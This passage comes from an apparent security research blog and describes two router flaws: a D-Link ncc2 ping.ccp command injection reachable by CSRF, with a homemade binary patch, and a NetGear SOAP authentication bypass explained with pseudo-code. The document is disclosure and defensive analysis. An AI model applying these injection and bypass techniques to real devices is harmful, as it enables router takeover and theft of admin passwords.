When queried, this resource will return the default / factory WPS pin for the device.

usb_connect.txt

When queried, this resource will return a binary value which indicates whether an external device is connected to the USB port on the device - or null in the case of devices that do not have an exposed USB port.

This resource could potentially by used by an attacker to enumerate devices with USB storage attached.

Analysis :: NCC2 :: ping.ccp

Of the issued listed in this document, the ping.ccp command injection vulnerability is arguably the worst - due to the ability for this vulnerability to be leveraged via CSRF. Simply put, it does not matter whether ‘WAN management’ is enabled on the device or not; visiting a webpage with a malicious javascript payload embedded is enough for an attacker to gain full access to the device.

In order to understand why this is possible, let’s have a look through the jjhttpd and ncc2 binaries. A cursory glance seems to indicate that the ncc2 binary is providing CGI functionality to jjhttpd - where jjhttpd is handling inbound HTTP requests and dispatching them as required. However, let’s confirm that this is the case before we go too much further.

Let’s dump the symbol table from the jjhttpd binary with readelf and look for anything that might point us in the right direction.

Well, do_ccp looks like as good a place as any to start. Let’s open up do_ccp (0x0040d648) in radare2 and see what we can find:

Okay, this looks like it’s quite large. Doing things manually here is going to take a lot of time, and at this stage we’re just attempting to work out how ncc2 is called, not analyze jjhttpd itself (as the vulnerability appears to exist inside of ncc2).

In order to speed things up, let’s make Ruby do our ‘dirty’ work for us. There is probably a more elegant way of doing this analysis - such as the radare2 API - but as we only need to do some string mangling, flat files will get us through.

To begin, we’ll dump the disassembled view of do_ccp to file and use a combination readelf and awk to dump the GOT into a file that we can then use to correlate. It’s worth noting that there is probably a nicer way of dumping the GOT directly from radare2, but I wasn’t able to find a way that outputs a format similar to that of readelf.

Now that we have all of the details we need, we can feed these files into a quick Ruby script that first reads in the GOT and builds a Ruby hash in the format of address => name. It then reads the disassembled view of do_ccp and looks for any lw t9, N(gp) operations. When such an operation is found, it takes the value of N and the known value of gp, sums them and looks in the GOT hash for an entry at this address:

…27 lines of terribly written Ruby later and we have an easy to follow map of all jalr operations inside of do_ccp - as well as their associated addresses. Although this won’t show us exactly what is going on, it allows us to quickly locate what we need inside of do_ccp.

Long story short, jjhttpd seems to be spawning a socket to an ncc2 process, submitting the request, reading the response and closing the socket - all pretty pedestrian, but still nice to know there’s no magic happening here. This also helps to confirm our suspicions that jjhttpd is dispatching requests to ncc2 where the command processing is occurring, and ultimately, where the vulnerability lays.

Okay, so now that jjhttpd is out of the way, let’s have a look at ncc2.

To start with, we’ll do the same as we did for jjhttpd above; we’ll dump the GOT and disassembled view, and correlate the two with some Ruby glue.

Straight away we can see something interesting - being the __system() call at 0x00493adc. Let’s pop this address back open in radare2 and have a look at what’s being passed to this function.

As we know the value of gp is 0x60F220 - which is calculated and stored onto the stack at the beginning of doPingV6 (0x004939d4) - we can perform the rest of the operations by hand, commenting as we go.

Unfortunately, I forgot to add a comment above 0x00493ae4 but this is where the user submitted value is stored onto the stack:

The net result is that we now know the values of the argument registers that are used for the __system() call, as well as where the user provided string is ending up. Let’s take the addresses for these argument registers and print their contents as strings:

Well, it looks like we’ve found out culprit at 0x547434.

The user provided value is formatted into this string in place of the first %s. As a result, all that is needed is to encapsulate a command into a format that will be interpreted by the shell (such as $()) and piggy-backed command(s) will be executed when this call is evaluated.

We’ve managed to make it this far, so why don’t we go ahead try to fix this ourselves, eh?

:warning: Here be dragons.

This is a very dirty ‘patch’ and is being shown as a proof-of-concept only. This is not for the ‘faint of heart’, and should only be attempted if you are comfortable with recovering your device from the bootloader. No support, nor warranty, is provided here and any attempts to replicate this patch are done so at your own risk.

Now, with that out of the way…

As we know that the vulnerability is due to an unsanitized string passed to a system() call, why not simply disable the call? My first thought was to noop out the offending instruction, however, this may lead to further issues. In an effort to keep things simple, why don’t we replace the first part of the call with true - to satisfy any exit code checks - and then comment the rest of the command with #?

Let’s see if it works…

Of course, for this to be useful, we’ll need to replace the ncc / ncc2 binary in the GPL package for this device / firmware, recompile the image and flash it onto the device. I’ve gone ahead and performed this already for the DIR-820LA1 v1.02b10 firmware and confirmed that it appears to mitigate this vulnerability.

Although this ‘patch’ only fixes the ping.ccp vulnerability, it saves us from ‘drive-by’ attacks while we wait for a fix from the vendor. The downside to this method is that D-Link do not appear to have published the GPL sources for their latest firmware builds. As a result, you may not be able to compile the latest firmware for your device, which may end in the introduction of further issues.

The long and short of it is: it’s probably better to use something like µBlock and blacklist your router IP - to mitigate unwanted CSRF calls against your device - while we wait for a vendor fix.

NetGear SOAPWNDR Authentication Bypass

Wed, 11 Feb 2015 08:00:00 +0000

A number of WNDR series devices contain an embedded SOAP service for use with the NetGear Genie application. This service allows for viewing and setting of certain router parameters, such as:

WLAN credentials and SSIDs.
Connected clients.
Guest WLAN credentials and SSIDs.
Parental control settings.

At first glance, this service appears to be filtered and authenticated; HTTP requests with a SOAPAction header set but without a session identifier will yield a HTTP 401 error. However, a HTTP POST with as little as a blank form and a SOAPAction header is sufficient to execute certain requests and query information from the device.

As this SOAP service is called via the built-in HTTP / CGI daemon, unauthenticated queries will be answered from the WAN if remote management has been enabled on the device. As a result, affected devices can be interrogated and hijacked with as little as a well placed HTTP query.

The included proof of concept queries this service in order to extract the admin password, device serial number, WLAN details, and various information regarding clients currently connected to the device.

Analysis :: uHTTPd

In the case of the WNDR3700v4 - as other devices may utilize a different arrangement - the under-laying system is built on-top of OpenWRT. As part of this, the OpenWRT uhttpd service is being used to serve up the management interface on this device. This said, NetGear specific functionality is implemented via an ELF binary called through the uhttpd CGI provider.

Although there are a few NetGear patches inside of the uhttpd codebase, the vulnerability exists inside the custom CGI provider and not the OpenWRT uhttpd service.

If we review an abridged version of the uhttpd code - taken from the NetGear WNDR3700v4 GPL package - we can see that when the application is loaded, uh_config_parse is called (line 735) and a loop to handle client connections is started (line 818).

When a HTTP request comes in uh_path_lookup is called to evaluate the requested URL (line 921). If the request path is found to be invalid by this lookup the rest of the block is bypassed and a 404 returned to the client (line 952).

Further to this, due to the routing at line 931, all we need to do is request a resource that exists and doesn’t have .gif, .jpg, or .css somewhere in the filename and ug_cgi_request will be called.

Interestingly enough, uh_auth_check (line 924) is doing absolutely nothing here; we could replace this call with an if(true) and achieve the same functionality. This is not the fault of the uhttpd service but rather the lack of realm configuration on the device. If we rewind a bit to uh_config_parse we can see why.

The uh_auth_add function, which populates the realm array, is called per line of realm configuration from either the configuration file specified as a command argument or a default of /etc/httpd.conf.

However, if we inspect the uhttpd.sh init script on the device we can see that no configuration file path is specified at daemon start. If we also check for the presence of the default file - being /etc/httpd.conf - we find it to be missing.

This ends in a realm blank array. As a result of this, all documents bypass uhttpd build-in authentication - due to the uh_auth_check returning true by default.

Based on this information, and the location of the authentication data in SOAP envelopes from “Genie” client, we can ascertain that authentication is being handled by the net-cgi process directly.

Analysis :: Net-CGI

As found above, the net-cgi process seems to be called for almost all documents, and is in charge of both authentication and processing of CGI requests. The net-cgi process itself is an ELF binary that is called through the uhttpd CGI wrapper; specifically by an execl() (line 429) inside of the uh_cgi_request function:

All pertinent HTTP headers - and a few others that are hidden in this excerpt - are passed through environment variables to net-cgi. Included in these headers are the two that we are interested in: SOAPAction (line 420) and Authorization (line 396).

As we’re now hitting a binary that we do not have sources for we will need to start debugging the process directly. In order to do this, we will be using gdb, binutils and radare2. Lucky for us however, the GPL package from NetGear includes a pre-compiled net-cgi with debugging symbols.

To start, we need to work out where we are in the world. In order to do so, let’s look for somewhere that we can attach a breakpoint to and then trace backwards from.

There are a few interesting looking results here, so let’s get started with those most likely related to the execution of SOAP requests, namely ExecuteSoapAction and SendSoapResponse. We’ll start by attaching a breakpoint to ExecuteSoapAction (0x00429f88) and submit a known-working SOAP call to the device (GetInfo from the LANConfigSecurity namespace).

…that’s exactly what we want to see; we’re hitting our installed breakpoint as expected. If we inspect a trace leading up to the breakpoint we can see that ExecuteSoapAction is called via handle_http_request, so it looks like we’re on the right track.

Let’s attach breakpoints to all of the addresses we found related to authentication and give the same request another shot.

As we’re hitting the same breakpoint as above, it looks like authentication is handled either inside of ExecuteSoapAction or afterwards. Let’s remove the ExecuteSoapAction breakpoint and try again.

Err, righto, we didn’t hit any breakpoints… Let’s try a different SOAP action instead. This time we’ll try with Authenticate from inside the ParentalControl namespace - which is used as part of initial authentication envelope sent by the “Genie” application.

Finally, there’s the breakpoint we were expecting to see. The real question is why we’re not hitting this break-point unless we submit a SOAP action inside of the ParentalControl namespace.

First though, let’s work out where we are and how we got there.

If we look at the trace, and the contents of the ra register, we can see that soap_auth is being called from ExecuteSoapAction at 0x0042a184. If we compare this with previous traces, and the contents of the ra registers at each step, we find that we’re kicked to ExecuteSoapAction (0x00429f88) by 0x00407b5c inside of handle_http_request. As this is exactly the same behaviour we’ve seen with other SOAP actions - except for the final kick to soap_auth - we’re likely being routed through the application in a consistent manner up until this point.

Now that we know how we’re getting from handle_http_request to soap_auth, the question is why we only hit soap_auth during a SOAP call that lives inside the ParentalControl namespace.

Once we’ve traced through and commented as much of ExecuteSoapAction as we can, it becomes quite clear what’s causing this.

At 0x00429fe4 the program seems to load the address of a SOAPActions array into argument register a0. At 0x00429fec it then performs a ‘safety check’ to ensure that the array it just loaded is non-zero.

Assuming the array was loaded, we’re then branched to a jalr at 0x0042a00c which jumps to the address of strcmp() - via libc. This strcmp() is testing whether the first element of the SOAPActions array we just loaded matches the SOAP namespace specified in the SOAPAction header from the client.

As per the comment above 0x0042a014, if this test fails - as the strings aren’t a match - then we are branched back up to 0x00429ffc where the address is incremented to the next element inside of SOAPActions. A quick test is performed at 0x0042a004 to ensure the new address is valid, and the whole process is performed again.

Interestingly, even after this lookup has been completed, a separate strcmp() is performed at 0x0042a02c to check whether the client specified SOAP namespace is ParentalControl. This seems to be where the soap_auth is referenced, and why authentication is only required for ParentalControl calls.

The process described above can be very roughly expressed as something like following pseudo-code:

SOAPActions = Array("DeviceConfig", ... "ParentalControl")

function ExecuteSoapAction(SOAPNamespace, SOAPCall, ContentLength) {

  if length of ContentLength is zero {
    call SendSoapRespCode(401)
  }
  if length of SOAPNamespace is zero {
    call SendSoapRespCode(401)
  }
  if length of SOAPCall is zero {
    call SendSoapRespCode(401)
  }

  SOAPActionFound = false
  for each entry in SOAPActions as SOAPAction {
    if SOAPAction == SOAPNamespace {
      SOAPActionFound = true
      break
    }
  }

  if SOAPNamespace == "ParentalControl" {
    SOAPActionFound = true
    call soap_auth()
  }

  if not SOAPActionFound {
    call SendSoapRespCode(401)
  }

  ...
}

Now that we know why soap_auth is only called for ParentalControl, the final question is why we receive a SOAP 401 message when we attempt to call a valid SOAP action with a blank request.

…Long story short, 0x00429fdc is responsible for this.

The beqz operation at 0x00429fdc is being used to ensure that the content-length HTTP header is greater than zero. If the content-length is zero then a branch is made to 0x0042a0d4 which in-turn branches again to 0x0042a110. At 0x0042a110 the address for SendSoapRespCode is pushed into t9, a static ‘401’ pushed into a1, the registers stored at the top of ExecuteSoapAction are pushed back into save registers from the stack, and SendSoapRespCode is called.

The client receives their response, net-cgi exits and everyone is happy.

I am unsure whether this value is verified to be non-zero as part of some sort of ‘authentication’ of legitimate requests, or due to this value being used in a stream reader later in the thread? Perhaps just to cut down on processing overhead for blank requests; in which case a HTTP 400 may have been more appropriate.

Either way, I shouldn’t be able to just ask for the keys to the kingdom and have them given to me.

KernelPicnic

Reverse engineering a Novation FLKey - Part I

Components and Web MIDI

Bootloader

Firmware updates

Where to next?

Internals

Dumping the firmware

Finding North

Patching like it’s 1989

Making it permanent

Thanks

Messing with SWD - Part I

Down the rabbit hole.

SWD?

Lines

Bit Order

DP vs AP vs DAP?!

Packets

Request Header

Acknowledgement (ACK)

Payload

FIN.

Thanks

Pivoting from blind SSRF to RCE with HashiCorp Consul

Bring-Your-Own SOAP!

Go Fish?

External Entities?

A wild Consul appears!

So now what?

So, PUT from a POST?

PUTting it all together.

Thanks

BKP CTF - Wackusensor Write-Up

Wackusensor

TL;DR: The Solution

RTFM

Keys And Headers

Twiddling Bits

Encoding To Victory?

Not So Secret

Sideline: The PHP ‘Protocol’

Give Us The Flag Already!

Remote Code Execution (RCE) on Microsoft's 'signout.live.com'

AEM Overview

AEM Architecture.

Deployment Topology

Dispatch Filtering

CVE-2016-0957

Impact

Reporting.

The world’s lamest RCE.

Reporting.

Thanks.

BKP CTF - Good Morning (Wonderland)

Good Morning!

The Setup

ShiftJIS

WebSockets and JSON

Fire!

BKP CTF - Bug Bounty (Suffolk Downs)

Bug Bounty

The Flow.

The Obvious?

CSP.

The Rabbit Hole Begins…

Enter META

9447 CTF - Super Turbo Atomic GIF Converter

Enter the Super Turbo Atomic GIF Converter!

Content-Types vs File-names

M3U8 and xFI

Multiple vulnerabilities in D-Link and TRENDnet 'ncc2' service

fwupgrade.ccp

ping.ccp

UDPServer / MP Daemon

Diagnostic hooks

tftp_ready.txt

chklst.txt

wps_default_pin.txt

usb_connect.txt

`DP` vs `AP` vs `DAP`?!